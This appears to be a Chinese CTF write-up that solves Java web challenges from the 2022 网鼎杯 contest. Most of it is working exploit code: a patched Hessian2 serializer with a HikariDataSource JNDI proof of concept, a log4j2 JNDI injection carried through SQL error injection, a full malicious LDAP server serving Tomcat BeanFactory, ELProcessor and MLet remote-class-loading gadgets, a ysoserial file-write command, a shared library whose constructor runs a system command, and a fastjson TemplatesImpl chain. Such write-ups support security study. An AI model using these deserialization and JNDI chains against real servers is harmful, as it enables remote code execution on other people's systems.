网鼎杯2022

每年网鼎杯都有四场比赛,今年的青龙组和玄武组的web的题目直接给好评。非常值得赛后复现一下,但是还是要说做题时间十分有限,要在比赛的时间里面做出这么多题目确实还是不简单的。

BadBean

这是一道青龙组java题目,最后是被ma4ter带佬顺利拿下一血,并且成为最后赛场上的唯一解。我们首先打开题目所给的源码来进行题目的一步一步地分析和解答,其实题目本身并不难。

题目初探

首先关注的便是他的controller部分的代码,很明显,这里就是一个Hessian2的反序列化。

image-20220914224241728

最常用的利用方式有如下。但是如果我们看过pom.xml就会发现,好像是没有这几个依赖的。

Rome

XBean

Resin

pom.xml

image-20220914224705001

甚至在依赖本身来说,只有两个dubbo:2.7.14HikariCP:2.6.1。我们把依赖本身放到百度中去搜索,便能发现唯一一个满足这个依赖关系的文章: https://paper.seebug.org/1814/#_3: 最后达到的攻击效果就是:触发toString。然后我们发现在题目给的bean中有这么一个类com.ctf.badbean.bean.MyBean

public String toString() {
System.out.println(1);
StringBuffer sb = new StringBuffer(128);
try {
List<PropertyDescriptor> propertyDescriptors = BeanIntrospector.getPropertyDescriptorsWithGetters(this.beanClass);
Iterator flag = propertyDescriptors.iterator();

while(flag.hasNext()) {
PropertyDescriptor propertyDescriptor = (PropertyDescriptor)flag.next();
String propertyName = propertyDescriptor.getName();
Method getter = propertyDescriptor.getReadMethod();
Object value = getter.invoke(this.obj, new Object[0]);
}
} catch (Exception e) {
Class<? extends Object> clazz = this.obj.getClass();
String errorMessage = e.getMessage();
sb.append(String.format("\n\nEXCEPTION: Could not complete %s.toString(): %s\n", clazz, errorMessage));
}

return sb.toString();
}

不难看出是触发任意getter方法,所以最后很容易就把链子本身拼接出来。

题目解答

首先根据上面搜索到的文章,我们可以知道这个dubboHessian2的反序列化,最关键的方法在于

image-20220914225206992

所以就是想办法要触发到这一步,我们直接抄文章给出的代码。

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by Fernflower decompiler)
//

package com.alibaba.com.caucho.hessian.io;

import com.alibaba.com.caucho.hessian.util.IdentityIntMap;

import java.io.IOException;
import java.io.OutputStream;
import java.util.HashMap;

public class Hessian2Output extends AbstractHessianOutput implements Hessian2Constants {
public static final int SIZE = 4096;
private final byte[] _buffer = new byte[4096];
protected OutputStream _os;
private IdentityIntMap _refs = new IdentityIntMap();
private boolean _isCloseStreamOnClose;
private HashMap _classRefs;
private HashMap _typeRefs;
private int _offset;
private boolean _isStreaming;

public Hessian2Output(OutputStream os) {
this._os = os;
}

public void init(OutputStream os) {
this.reset();
this._os = os;
}

public void reset() {
this.resetReferences();
if (this._classRefs != null) {
this._classRefs.clear();
}

if (this._typeRefs != null) {
this._typeRefs.clear();
}

this._offset = 0;
}

public boolean isCloseStreamOnClose() {
return this._isCloseStreamOnClose;
}

public void setCloseStreamOnClose(boolean isClose) {
this._isCloseStreamOnClose = isClose;
}

public void call(String method, Object[] args) throws IOException {
int length = args != null ? args.length : 0;
this.startCall(method, length);

for (int i = 0; i < args.length; ++i) {
this.writeObject(args[i]);
}

this.completeCall();
}

public void startCall(String method, int length) throws IOException {
int offset = this._offset;
if (4096 < offset + 32) {
this.flush();
offset = this._offset;
}

byte[] buffer = this._buffer;
buffer[this._offset++] = 67;
this.writeString(method);
this.writeInt(length);
}

public void startCall() throws IOException {
this.flushIfFull();
this._buffer[this._offset++] = 67;
}

public void startEnvelope(String method) throws IOException {
int offset = this._offset;
if (4096 < offset + 32) {
this.flush();
offset = this._offset;
}

this._buffer[this._offset++] = 69;
this.writeString(method);
}

public void completeEnvelope() throws IOException {
this.flushIfFull();
this._buffer[this._offset++] = 90;
}

public void writeMethod(String method) throws IOException {
this.writeString(method);
}

public void completeCall() throws IOException {
}

public void startReply() throws IOException {
this.writeVersion();
this.flushIfFull();
this._buffer[this._offset++] = 82;
}

public void writeVersion() throws IOException {
this.flushIfFull();
this._buffer[this._offset++] = 72;
this._buffer[this._offset++] = 2;
this._buffer[this._offset++] = 0;
}

public void completeReply() throws IOException {
}

public void startMessage() throws IOException {
this.flushIfFull();
this._buffer[this._offset++] = 112;
this._buffer[this._offset++] = 2;
this._buffer[this._offset++] = 0;
}

public void completeMessage() throws IOException {
this.flushIfFull();
this._buffer[this._offset++] = 122;
}

public void writeFault(String code, String message, Object detail) throws IOException {
this.flushIfFull();
this.writeVersion();
this._buffer[this._offset++] = 70;
this._buffer[this._offset++] = 72;
this._refs.put(new HashMap(), this._refs.size());
this.writeString("code");
this.writeString(code);
this.writeString("message");
this.writeString(message);
if (detail != null) {
this.writeString("detail");
this.writeObject(detail);
}

this.flushIfFull();
this._buffer[this._offset++] = 90;
}

public void writeObject(Object object) throws IOException {
if (object == null) {
this.writeNull();
} else {
Serializer serializer = this.findSerializerFactory().getSerializer(object.getClass());
serializer.writeObject(object, this);
}
}

public boolean writeListBegin(int length, String type) throws IOException {
this.flushIfFull();
if (length < 0) {
if (type != null) {
this._buffer[this._offset++] = 85;
this.writeType(type);
} else {
this._buffer[this._offset++] = 87;
}

return true;
} else if (length <= 7) {
if (type != null) {
this._buffer[this._offset++] = (byte) (112 + length);
this.writeType(type);
} else {
this._buffer[this._offset++] = (byte) (120 + length);
}

return false;
} else {
if (type != null) {
this._buffer[this._offset++] = 86;
this.writeType(type);
} else {
this._buffer[this._offset++] = 88;
}

this.writeInt(length);
return false;
}
}

public void writeListEnd() throws IOException {
this.flushIfFull();
this._buffer[this._offset++] = 90;
}

public void writeMapBegin(String type) throws IOException {
if (4096 < this._offset + 32) {
this.flush();
}

if (type != null) {
this._buffer[this._offset++] = 77;
this.writeType(type);
} else {
this._buffer[this._offset++] = 72;
}

}

public void writeMapEnd() throws IOException {
if (4096 < this._offset + 32) {
this.flush();
}

this._buffer[this._offset++] = 90;
}

public int writeObjectBegin(String type) throws IOException {
if (this._classRefs == null) {
this._classRefs = new HashMap();
}

Integer refV = (Integer) this._classRefs.get(type);
int ref;
if (refV != null) {
ref = refV;
if (4096 < this._offset + 32) {
this.flush();
}

if (ref <= 15) {
this._buffer[this._offset++] = (byte) (96 + ref);
} else {
this._buffer[this._offset++] = 79;
this.writeInt(ref);
}

return ref;
} else {
ref = this._classRefs.size();
this._classRefs.put(type, ref);
if (4096 < this._offset + 32) {
this.flush();
}

this._buffer[this._offset++] = 67;
this.writeString(type);
return -1;
}
}

public void writeClassFieldLength(int len) throws IOException {
this.writeInt(len);
}

public void writeObjectEnd() throws IOException {
}

private void writeType(String type) throws IOException {
this.flushIfFull();
int len = type.length();
if (len == 0) {
throw new IllegalArgumentException("empty type is not allowed");
} else {
if (this._typeRefs == null) {
this._typeRefs = new HashMap();
}

Integer typeRefV = (Integer) this._typeRefs.get(type);
if (typeRefV != null) {
int typeRef = typeRefV;
this.writeInt(typeRef);
} else {
this._typeRefs.put(type, this._typeRefs.size());
this.writeString(type);
}

}
}

public void writeBoolean(boolean value) throws IOException {
if (4096 < this._offset + 16) {
this.flush();
}

if (value) {
this._buffer[this._offset++] = 84;
} else {
this._buffer[this._offset++] = 70;
}

}

public void writeInt(int value) throws IOException {
int offset = this._offset;
byte[] buffer = this._buffer;
if (4096 <= offset + 16) {
this.flush();
offset = this._offset;
}

if (-16 <= value && value <= 47) {
buffer[offset++] = (byte) (value + 144);
} else if (-2048 <= value && value <= 2047) {
buffer[offset++] = (byte) (200 + (value >> 8));
buffer[offset++] = (byte) value;
} else if (-262144 <= value && value <= 262143) {
buffer[offset++] = (byte) (212 + (value >> 16));
buffer[offset++] = (byte) (value >> 8);
buffer[offset++] = (byte) value;
} else {
buffer[offset++] = 73;
buffer[offset++] = (byte) (value >> 24);
buffer[offset++] = (byte) (value >> 16);
buffer[offset++] = (byte) (value >> 8);
buffer[offset++] = (byte) value;
}

this._offset = offset;
}

public void writeLong(long value) throws IOException {
int offset = this._offset;
byte[] buffer = this._buffer;
if (4096 <= offset + 16) {
this.flush();
offset = this._offset;
}

if (-8L <= value && value <= 15L) {
buffer[offset++] = (byte) ((int) (value + 224L));
} else if (-2048L <= value && value <= 2047L) {
buffer[offset++] = (byte) ((int) (248L + (value >> 8)));
buffer[offset++] = (byte) ((int) value);
} else if (-262144L <= value && value <= 262143L) {
buffer[offset++] = (byte) ((int) (60L + (value >> 16)));
buffer[offset++] = (byte) ((int) (value >> 8));
buffer[offset++] = (byte) ((int) value);
} else if (-2147483648L <= value && value <= 2147483647L) {
buffer[offset + 0] = 89;
buffer[offset + 1] = (byte) ((int) (value >> 24));
buffer[offset + 2] = (byte) ((int) (value >> 16));
buffer[offset + 3] = (byte) ((int) (value >> 8));
buffer[offset + 4] = (byte) ((int) value);
offset += 5;
} else {
buffer[offset + 0] = 76;
buffer[offset + 1] = (byte) ((int) (value >> 56));
buffer[offset + 2] = (byte) ((int) (value >> 48));
buffer[offset + 3] = (byte) ((int) (value >> 40));
buffer[offset + 4] = (byte) ((int) (value >> 32));
buffer[offset + 5] = (byte) ((int) (value >> 24));
buffer[offset + 6] = (byte) ((int) (value >> 16));
buffer[offset + 7] = (byte) ((int) (value >> 8));
buffer[offset + 8] = (byte) ((int) value);
offset += 9;
}

this._offset = offset;
}

public void writeDouble(double value) throws IOException {
int offset = this._offset;
byte[] buffer = this._buffer;
if (4096 <= offset + 16) {
this.flush();
offset = this._offset;
}

int intValue = (int) value;
if ((double) intValue == value) {
if (intValue == 0) {
buffer[offset++] = 91;
this._offset = offset;
return;
}

if (intValue == 1) {
buffer[offset++] = 92;
this._offset = offset;
return;
}

if (-128 <= intValue && intValue < 128) {
buffer[offset++] = 93;
buffer[offset++] = (byte) intValue;
this._offset = offset;
return;
}

if (-32768 <= intValue && intValue < 32768) {
buffer[offset + 0] = 94;
buffer[offset + 1] = (byte) (intValue >> 8);
buffer[offset + 2] = (byte) intValue;
this._offset = offset + 3;
return;
}
}

int mills = (int) (value * 1000.0D);
if (0.001D * (double) mills == value) {
buffer[offset + 0] = 95;
buffer[offset + 1] = (byte) (mills >> 24);
buffer[offset + 2] = (byte) (mills >> 16);
buffer[offset + 3] = (byte) (mills >> 8);
buffer[offset + 4] = (byte) mills;
this._offset = offset + 5;
} else {
long bits = Double.doubleToLongBits(value);
buffer[offset + 0] = 68;
buffer[offset + 1] = (byte) ((int) (bits >> 56));
buffer[offset + 2] = (byte) ((int) (bits >> 48));
buffer[offset + 3] = (byte) ((int) (bits >> 40));
buffer[offset + 4] = (byte) ((int) (bits >> 32));
buffer[offset + 5] = (byte) ((int) (bits >> 24));
buffer[offset + 6] = (byte) ((int) (bits >> 16));
buffer[offset + 7] = (byte) ((int) (bits >> 8));
buffer[offset + 8] = (byte) ((int) bits);
this._offset = offset + 9;
}
}

public void writeUTCDate(long time) throws IOException {
if (4096 < this._offset + 32) {
this.flush();
}

int offset = this._offset;
byte[] buffer = this._buffer;
if (time % 60000L == 0L) {
long minutes = time / 60000L;
if (minutes >> 31 == 0L || minutes >> 31 == -1L) {
buffer[offset++] = 75;
buffer[offset++] = (byte) ((int) (minutes >> 24));
buffer[offset++] = (byte) ((int) (minutes >> 16));
buffer[offset++] = (byte) ((int) (minutes >> 8));
buffer[offset++] = (byte) ((int) (minutes >> 0));
this._offset = offset;
return;
}
}

buffer[offset++] = 74;
buffer[offset++] = (byte) ((int) (time >> 56));
buffer[offset++] = (byte) ((int) (time >> 48));
buffer[offset++] = (byte) ((int) (time >> 40));
buffer[offset++] = (byte) ((int) (time >> 32));
buffer[offset++] = (byte) ((int) (time >> 24));
buffer[offset++] = (byte) ((int) (time >> 16));
buffer[offset++] = (byte) ((int) (time >> 8));
buffer[offset++] = (byte) ((int) time);
this._offset = offset;
}

public void writeNull() throws IOException {
int offset = this._offset;
byte[] buffer = this._buffer;
if (4096 <= offset + 16) {
this.flush();
offset = this._offset;
}

buffer[offset++] = 78;
this._offset = offset;
}

public void writeString(String value) throws IOException {
int offset = this._offset;
byte[] buffer = this._buffer;
if (4096 <= offset + 16) {
this.flush();
offset = this._offset;
}

if (value == null) {
buffer[offset++] = 78;
this._offset = offset;
} else {
int length = value.length();

int strOffset;
int sublen;
for (strOffset = 0; length > 32768; strOffset += sublen) {
sublen = 32768;
offset = this._offset;
if (4096 <= offset + 16) {
this.flush();
offset = this._offset;
}

char tail = value.charAt(strOffset + sublen - 1);
if ('\ud800' <= tail && tail <= '\udbff') {
--sublen;
}

buffer[offset + 0] = 82;
buffer[offset + 1] = (byte) (sublen >> 8);
buffer[offset + 2] = (byte) sublen;
this._offset = offset + 3;
this.printString(value, strOffset, sublen);
length -= sublen;
}

offset = this._offset;
if (4096 <= offset + 16) {
this.flush();
offset = this._offset;
}

if (length <= 31) {
if (value.startsWith("aaa")) {
buffer[offset++] = 67;
} else {
buffer[offset++] = (byte) (0 + length);
}
} else if (length <= 1023) {
buffer[offset++] = (byte) (48 + (length >> 8));
buffer[offset++] = (byte) length;
} else {
buffer[offset++] = 83;
buffer[offset++] = (byte) (length >> 8);
buffer[offset++] = (byte) length;
}
// this._offset=offset;
if (!value.startsWith("aaa")) {
this._offset = offset;
this.printString(value, strOffset, length);
}
}
}

public void writeString(char[] buffer, int offset, int length) throws IOException {
if (buffer == null) {
if (4096 < this._offset + 16) {
this.flush();
}

this._buffer[this._offset++] = 78;
} else {
while (true) {
if (length <= 32768) {
if (4096 < this._offset + 16) {
this.flush();
}

if (length <= 31) {
this._buffer[this._offset++] = (byte) (0 + length);
} else if (length <= 1023) {
this._buffer[this._offset++] = (byte) (48 + (length >> 8));
this._buffer[this._offset++] = (byte) length;
} else {
this._buffer[this._offset++] = 83;
this._buffer[this._offset++] = (byte) (length >> 8);
this._buffer[this._offset++] = (byte) length;
}

this.printString(buffer, offset, length);
break;
}

int sublen = 32768;
if (4096 < this._offset + 16) {
this.flush();
}

char tail = buffer[offset + sublen - 1];
if ('\ud800' <= tail && tail <= '\udbff') {
--sublen;
}

this._buffer[this._offset++] = 82;
this._buffer[this._offset++] = (byte) (sublen >> 8);
this._buffer[this._offset++] = (byte) sublen;
this.printString(buffer, offset, sublen);
length -= sublen;
offset += sublen;
}
}

}

public void writeBytes(byte[] buffer) throws IOException {
if (buffer == null) {
if (4096 < this._offset + 16) {
this.flush();
}

this._buffer[this._offset++] = 78;
} else {
this.writeBytes(buffer, 0, buffer.length);
}

}

public void writeBytes(byte[] buffer, int offset, int length) throws IOException {
if (buffer == null) {
if (4096 < this._offset + 16) {
this.flushBuffer();
}

this._buffer[this._offset++] = 78;
} else {
this.flush();

while (4096 - this._offset - 3 < length) {
int sublen = 4096 - this._offset - 3;
if (sublen < 16) {
this.flushBuffer();
sublen = 4096 - this._offset - 3;
if (length < sublen) {
sublen = length;
}
}

this._buffer[this._offset++] = 65;
this._buffer[this._offset++] = (byte) (sublen >> 8);
this._buffer[this._offset++] = (byte) sublen;
System.arraycopy(buffer, offset, this._buffer, this._offset, sublen);
this._offset += sublen;
length -= sublen;
offset += sublen;
this.flushBuffer();
}

if (4096 < this._offset + 16) {
this.flushBuffer();
}

if (length <= 15) {
this._buffer[this._offset++] = (byte) (32 + length);
} else if (length <= 1023) {
this._buffer[this._offset++] = (byte) (52 + (length >> 8));
this._buffer[this._offset++] = (byte) length;
} else {
this._buffer[this._offset++] = 66;
this._buffer[this._offset++] = (byte) (length >> 8);
this._buffer[this._offset++] = (byte) length;
}

System.arraycopy(buffer, offset, this._buffer, this._offset, length);
this._offset += length;
}

}

public void writeByteBufferStart() throws IOException {
}

public void writeByteBufferPart(byte[] buffer, int offset, int length) throws IOException {
while (length > 0) {
int sublen = length;
if (32768 < length) {
sublen = 32768;
}

this.flush();
this._os.write(65);
this._os.write(sublen >> 8);
this._os.write(sublen);
this._os.write(buffer, offset, sublen);
length -= sublen;
offset += sublen;
}

}

public void writeByteBufferEnd(byte[] buffer, int offset, int length) throws IOException {
this.writeBytes(buffer, offset, length);
}

public OutputStream getBytesOutputStream() throws IOException {
return new Hessian2Output.BytesOutputStream();
}

protected void writeRef(int value) throws IOException {
if (4096 < this._offset + 16) {
this.flush();
}

this._buffer[this._offset++] = 81;
this.writeInt(value);
}

public boolean addRef(Object object) throws IOException {
int ref = this._refs.get(object);
if (ref >= 0) {
this.writeRef(ref);
return true;
} else {
this._refs.put(object, this._refs.size());
return false;
}
}

public boolean removeRef(Object obj) throws IOException {
if (this._refs != null) {
this._refs.remove(obj);
return true;
} else {
return false;
}
}

public boolean replaceRef(Object oldRef, Object newRef) throws IOException {
Integer value = this._refs.remove(oldRef);
if (value != null) {
this._refs.put(newRef, value);
return true;
} else {
return false;
}
}

public void resetReferences() {
if (this._refs != null) {
this._refs.clear();
}

}

public void writeStreamingObject(Object obj) throws IOException {
this.startStreamingPacket();
this.writeObject(obj);
this.endStreamingPacket();
}

public void startStreamingPacket() throws IOException {
if (this._refs != null) {
this._refs.clear();
}

this.flush();
this._isStreaming = true;
this._offset = 3;
}

public void endStreamingPacket() throws IOException {
int len = this._offset - 3;
this._buffer[0] = 80;
this._buffer[1] = (byte) (len >> 8);
this._buffer[2] = (byte) len;
this._isStreaming = false;
this.flush();
}

public void printLenString(String v) throws IOException {
if (4096 < this._offset + 16) {
this.flush();
}

if (v == null) {
this._buffer[this._offset++] = 0;
this._buffer[this._offset++] = 0;
} else {
int len = v.length();
this._buffer[this._offset++] = (byte) (len >> 8);
this._buffer[this._offset++] = (byte) len;
this.printString((String) v, 0, len);
}

}

public void printString(String v) throws IOException {
this.printString((String) v, 0, v.length());
}

public void printString(String v, int strOffset, int length) throws IOException {
int offset = this._offset;
byte[] buffer = this._buffer;

for (int i = 0; i < length; ++i) {
if (4096 <= offset + 16) {
this._offset = offset;
this.flush();
offset = this._offset;
}

char ch = v.charAt(i + strOffset);
if (ch < 128) {
buffer[offset++] = (byte) ch;
} else if (ch < 2048) {
buffer[offset++] = (byte) (192 + (ch >> 6 & 31));
buffer[offset++] = (byte) (128 + (ch & 63));
} else {
buffer[offset++] = (byte) (224 + (ch >> 12 & 15));
buffer[offset++] = (byte) (128 + (ch >> 6 & 63));
buffer[offset++] = (byte) (128 + (ch & 63));
}
}

this._offset = offset;
}

public void printString(char[] v, int strOffset, int length) throws IOException {
int offset = this._offset;
byte[] buffer = this._buffer;

for (int i = 0; i < length; ++i) {
if (4096 <= offset + 16) {
this._offset = offset;
this.flush();
offset = this._offset;
}

char ch = v[i + strOffset];
if (ch < 128) {
buffer[offset++] = (byte) ch;
} else if (ch < 2048) {
buffer[offset++] = (byte) (192 + (ch >> 6 & 31));
buffer[offset++] = (byte) (128 + (ch & 63));
} else {
buffer[offset++] = (byte) (224 + (ch >> 12 & 15));
buffer[offset++] = (byte) (128 + (ch >> 6 & 63));
buffer[offset++] = (byte) (128 + (ch & 63));
}
}

this._offset = offset;
}

private final void flushIfFull() throws IOException {
int offset = this._offset;
if (4096 < offset + 32) {
this._offset = 0;
this._os.write(this._buffer, 0, offset);
}

}

public final void flush() throws IOException {
this.flushBuffer();
if (this._os != null) {
this._os.flush();
}

}

public final void flushBuffer() throws IOException {
int offset = this._offset;
if (!this._isStreaming && offset > 0) {
this._offset = 0;
this._os.write(this._buffer, 0, offset);
} else if (this._isStreaming && offset > 3) {
int len = offset - 3;
this._buffer[0] = 112;
this._buffer[1] = (byte) (len >> 8);
this._buffer[2] = (byte) len;
this._offset = 3;
this._os.write(this._buffer, 0, offset);
}

}

public final void close() throws IOException {
this.flush();
OutputStream os = this._os;
this._os = null;
if (os != null && this._isCloseStreamOnClose) {
os.close();
}

}

public void setSerializerFactory(SerializerFactory serializerFactory) {
}

class BytesOutputStream extends OutputStream {
private int _startOffset;

BytesOutputStream() throws IOException {
if (4096 < Hessian2Output.this._offset + 16) {
Hessian2Output.this.flush();
}

this._startOffset = Hessian2Output.this._offset;
Hessian2Output.this._offset = Hessian2Output.this._offset + 3;
}

public void write(int ch) throws IOException {
if (4096 <= Hessian2Output.this._offset) {
int length = Hessian2Output.this._offset - this._startOffset - 3;
Hessian2Output.this._buffer[this._startOffset] = 65;
Hessian2Output.this._buffer[this._startOffset + 1] = (byte) (length >> 8);
Hessian2Output.this._buffer[this._startOffset + 2] = (byte) length;
Hessian2Output.this.flush();
this._startOffset = Hessian2Output.this._offset;
Hessian2Output.this._offset = Hessian2Output.this._offset + 3;
}

Hessian2Output.this._buffer[Hessian2Output.this._offset++] = (byte) ch;
}

public void write(byte[] buffer, int offset, int length) throws IOException {
while (length > 0) {
int sublen = 4096 - Hessian2Output.this._offset;
if (length < sublen) {
sublen = length;
}

if (sublen > 0) {
System.arraycopy(buffer, offset, Hessian2Output.this._buffer, Hessian2Output.this._offset, sublen);
Hessian2Output.this._offset = Hessian2Output.this._offset + sublen;
}

length -= sublen;
offset += sublen;
if (4096 <= Hessian2Output.this._offset) {
int chunkLength = Hessian2Output.this._offset - this._startOffset - 3;
Hessian2Output.this._buffer[this._startOffset] = 65;
Hessian2Output.this._buffer[this._startOffset + 1] = (byte) (chunkLength >> 8);
Hessian2Output.this._buffer[this._startOffset + 2] = (byte) chunkLength;
Hessian2Output.this.flush();
this._startOffset = Hessian2Output.this._offset;
Hessian2Output.this._offset = Hessian2Output.this._offset + 3;
}
}

}

public void close() throws IOException {
int startOffset = this._startOffset;
this._startOffset = -1;
if (startOffset >= 0) {
int length = Hessian2Output.this._offset - startOffset - 3;
Hessian2Output.this._buffer[startOffset] = 66;
Hessian2Output.this._buffer[startOffset + 1] = (byte) (length >> 8);
Hessian2Output.this._buffer[startOffset + 2] = (byte) length;
Hessian2Output.this.flush();
}
}
}
}

不难看出,其中最关键的代码在这里

image-20220914225352966

所以最后的POC.java

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
HikariDataSource ds = new HikariDataSource();
ds.setPoolName("pool");
ds.setDataSourceJNDI("ldap://127.0.0.1:1389/TomcatBypass/TomcatEcho/1");
Hessian2Output out = new Hessian2Output(byteArrayOutputStream);
Object o = new com.ctf.badbean.bean.MyBean("", "", ds, com.zaxxer.hikari.HikariDataSource.class);
out.writeString("aaa");
out.writeObject(o);
out.flushBuffer();
System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));
Hessian2Input hessian2Input = new Hessian2Input(new ByteArrayInputStream((byteArrayOutputStream.toByteArray())));
hessian2Input.readObject();

发现运行之后,没有什么用?我们来分析程序流程。

首先在第一次writeString的时候

image-20220914225544699

写完之后,buffer的首位就是67(具体含义查看文章)。但是在写入后面的object的时候,我们发现this._offset没有+1,意思就是,在writeObject的时候,又会从首字节开始写,最后导致只能刚好readobject=>readString到不了expect.所以我们把注释去掉就好了。

JndiLog

题目初探

最喜欢这种给源码的题目,可以做白盒就不要做黑盒。

image-20220916221443891

可以看到这里有一个简单的sql注入,然后又对于SQL注入中的报错使用了log4j2,所以我们不难想到报错注入==>log4j2。大概使用下面的payload就能做到。

admin'/**/and/**/updatexml(1,concat(0x7e,(SELECT "${jndi:ldap://127.0.0.1:1390/a}"),0x7e),1)#

题目解答

拿到jndi的注入之后,我们不难猜到这个是高版本的jdk,就不要考虑什么codebase之类的,要考虑高版本的bypass了。借鉴:探索高版本 JDK 下 JNDI 漏洞的利用方法。然后我们并且要结合本地可能存在的反序列化链子进行处理。不难发现

image-20220916221907231

这个刚好是一个写文件的链子,所以我们现在可以向题目环境中写一个任意文件了,配合上面的文章,我们可以考虑system.loadlibray

private static ResourceRef tomcat_loadLibrary(){
ResourceRef ref = new ResourceRef("com.sun.glass.utils.NativeLibLoader", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=loadLibrary"));
ref.add(new StringRefAddr("a", "/../../../../../../../../../../../../tmp/libcmd"));
return ref;
}

所以这个题目的思路就闭合了。大概需要下面的几步。

java -jar ysoxxx.jar aspectjweaver "filename;{base64}" | base64 -w0 

然后替换下面的LDAP的server数据

package org.example;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Base64;

import javax.naming.StringRefAddr;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.naming.ResourceRef;



/**
* LDAP server implementation returning JNDI references
*
* @author mbechler
*
*/
public class LDAPRefServer {

private static final String LDAP_BASE = "dc=example,dc=com";

public static void main(String[] args) {
int port = 1390;
// if ( args.length < 1 || args[ 0 ].indexOf('#') < 0 ) {
// System.err.println(LDAPRefServer.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$
// System.exit(-1);
// }
// else if ( args.length > 1 ) {
// port = C
// }
String url = "http://" + "www.baidu.com"+ ":34560/#BehinderFilter" ;

try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("[+] LDAP Server2 Listening Start on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;


/**
*
*/
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}


/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}

}

private static ResourceRef tomcatMLet() {
ResourceRef ref = new ResourceRef("javax.management.loading.MLet", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=loadClass,b=addURL,c=loadClass"));
ref.add(new StringRefAddr("a", "javax.el.ELProcessor"));
ref.add(new StringRefAddr("b", "http://127.0.0.1:2333/"));
ref.add(new StringRefAddr("c", "Blue"));
return ref;
}
private static ResourceRef tomcatEL() {
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));

ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()\")"));
return ref;
}
public static byte[] serialize(Object ref) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(ref);
return out.toByteArray();
}
private static ResourceRef tomcat_loadLibrary(){
ResourceRef ref = new ResourceRef("com.sun.glass.utils.NativeLibLoader", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=loadLibrary"));
ref.add(new StringRefAddr("a", "{path}"));
return ref;
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, IOException {
System.out.println("Sending LDAP ResourceRef result for " + base + " with javax.el.ELProcessor payload");
e.addAttribute("javaClassName", "java.lang.String"); //could be any
e.addAttribute("javaSerializedData", this.serialize(tomcat_loadLibrary()));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

}
}

首先把上面的部分e.addAttribute("javaSerializedData", this.serialize(tomcat_loadLibrary()));换成我们要使用的base64代码解码之后的数据,完成写文件。

然后使用 e.addAttribute("javaSerializedData", this.serialize(tomcat_loadLibrary()));就可以完成加载。

#include<stdlib.h>
#include<stdio.h>


void __attribute__((constructor)) my_init_so(){
system("calc");
}
int rand(void){
printf("hoook!");
return 100;
}
# gcc -fPIC -shared

请注意:这里文件名字背后会被自动添加dllso,所以需要做好处理。

image-20220916222425732

最后完成效果

image-20220916222652431

easyjava

题目初探

可以看到直接就是一个反序列化,简直不要太兴奋。

image-20220917170453986

我们继续看EInputStream.java

image-20220917172301282

在这一块给出的限制,也就是每次都是使用根加载器,只能加载jdk相关类,不难加载用户自定义的类,不难想到需要使用到二次反序列化。

题目解答

思路: JRMP==> FASTJSON.表面上的总所周知: JSONObject的toString可以调getter,然后配合上templatesImpl就可以完成题目了。配合BadAttributeValueExpException。注意jdk的版本。

感谢人潮人涌你师傅:这个总所周知就很到位。

JAVA ⼆次反序列化姿势:

​ java.security.SignedObject#getObject

​ javax.management.remote.rmi.RMIConnector#findRMIServerJRMP

​ JRMP

public BadAttributeValueExpException getObject(String command) throws Exception {
Object templatesImpl = Gadgets.createTemplatesImpl(command);
JSONObject jo = new JSONObject();
jo.put("oops",templatesImpl);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
Reflections.setAccessible(valfield);
valfield.set(val, jo);
return val;
}

剩下的就是基本操作了。第一次做到这个题目,很新颖,学到很多。

FindIT

Thymeleaf模板注⼊ 多的不说 直接看

